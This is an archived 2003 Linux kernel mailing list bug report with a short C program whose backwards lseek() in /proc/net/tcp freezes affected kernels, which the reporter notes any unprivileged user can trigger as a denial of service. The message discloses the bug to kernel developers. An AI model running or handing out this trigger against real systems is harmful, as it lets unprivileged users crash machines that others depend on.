linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* [BUG] scheduling while atomic when lseek()ing in /proc/net/tcp
@ 2003-11-27 23:05 Tore Anderson
  2003-11-28  6:19 ` Raj
  2003-11-28 17:12 ` OGAWA Hirofumi
  0 siblings, 2 replies; 4+ messages in thread
From: Tore Anderson @ 2003-11-27 23:05 UTC (permalink / raw)
  To: linux-kernel


  Hi,

  The following code instantly freezes my all of my machines running 
 any of the beavers:

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <stdio.h>

    int main(void) {
            char buf[8192];
            int fd, chars;
            fd = open("/proc/net/tcp", O_RDONLY);
            chars = read(fd, buf, sizeof(buf));
            lseek(fd, -chars+1, SEEK_CUR);
            close(fd);
            return 0;
    }

  It only happens when I lseek() anywhere from -chars+1 to -chars+150
 inclusive (in other words, somewhere on the first line).  I do not
 need root to abuse this, which makes it an excellent DoS attack for
 anyone with an unprivileged account.

  I do get an oops, but as I do not have a serial console I'd rather
 not transcribe it to paper and post it unless it's crucial to
 pinpointing the bug.

-- 
Tore Anderson


^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2003-11-30  4:43 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2003-11-27 23:05 [BUG] scheduling while atomic when lseek()ing in /proc/net/tcp Tore Anderson
2003-11-28  6:19 ` Raj
2003-11-28 17:12 ` OGAWA Hirofumi
2003-11-30  4:42   ` David S. Miller

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).